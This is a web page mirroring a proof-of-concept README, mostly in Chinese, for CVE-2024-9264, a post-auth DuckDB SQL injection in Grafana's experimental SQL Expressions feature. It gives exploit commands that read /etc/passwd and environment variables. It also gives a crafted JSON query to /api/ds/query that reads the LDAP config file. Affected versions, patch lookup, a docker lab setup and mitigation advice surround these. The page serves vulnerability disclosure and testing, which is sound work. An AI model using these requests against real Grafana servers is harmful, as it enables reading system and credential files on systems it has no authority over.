Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2024-9264 PoC — Grafana SQL Expressions allow for remote code execution

Source
Associated Vulnerability
Title: Grafana SQL Expressions allow for remote code execution (CVE-2024-9264)
Description:The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficiently sanitized before being passed to `duckdb`, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack. The `duckdb` binary must be present in Grafana's $PATH for this attack to function; by default, this binary is not installed in Grafana distributions.
Description
Exploit for Grafana arbitrary file-read (CVE-2024-9264)
Readme
# CVE-2024-9264  
## Grafana Post-Auth DuckDB SQL注入漏洞 (文件读取)

### 漏洞利用示例 (PoC)
![image](https://github.com/user-attachments/assets/94b71aef-1336-4fc7-a93b-6647af1cf590)

这个PoC演示了如何利用CVE-2024-9264,通过已认证用户执行DuckDB SQL查询并读取系统中的任意文件。

**环境设置:**
先安装依赖:
```bash
pip install -r requirements.txt
```

**用法 (文件读取示例):**
```bash
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
```

你还可以执行任意DuckDB查询,例如获取环境变量:
```bash
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
```

DuckDB的实用功能列表请参考[这里](https://duckdb.org/docs/sql/functions/utility)。

### 漏洞概述

[CVE-2024-9264](https://grafana.com/security/security-advisories/cve-2024-9264) 是Grafana的实验性SQL表达式功能中的DuckDB SQL注入漏洞。任何经过认证的用户都可以通过修改Grafana仪表盘中的表达式执行任意DuckDB SQL查询。

**受影响版本:**
- Grafana OSS和Enterprise版本11.0.0 - 11.0.5, 11.1.0 - 11.1.6, 11.2.0 - 11.2.1。

**修补版本:**
- 11.0.5+security-01及以上版本

### 查找补丁

Grafana发布了专门的版本来修复这个漏洞。使用以下命令可以查看补丁的差异:
```bash
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
```

补丁删除了SQL表达式功能,防止漏洞利用。

### 漏洞利用步骤

1. **启动Grafana**:
   使用11.0.5版本的Grafana:
   ```bash
   docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
   ```

2. **修改表达式**:
   创建一个仪表盘,拦截请求并将`datasource`类型从`math`修改为`sql`。

   发送到`/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101`的请求可用于执行DuckDB SQL查询,读取文件内容:

   ```json
   {
     "queries": [
       {
         "refId": "B",
         "datasource": {
           "type": "__expr__",
           "uid": "__expr__",
           "name": "Expression"
         },
         "type": "sql",
         "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")"
       }
     ]
   }
   ```

### 漏洞利用难度

此漏洞虽然严重,但是否能够利用取决于Grafana服务器上是否安装了DuckDB。**默认情况下,Grafana并不包含DuckDB**,如果没有手动安装DuckDB,漏洞不可利用。

### 缓解措施

更新Grafana到修补版本,并确保服务器的`$PATH`中没有DuckDB二进制文件。

### 致谢

此PoC使用了 [cfreal](https://github.com/cfreal) 开发的 [ten](https://github.com/cfreal/ten) 框架。
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →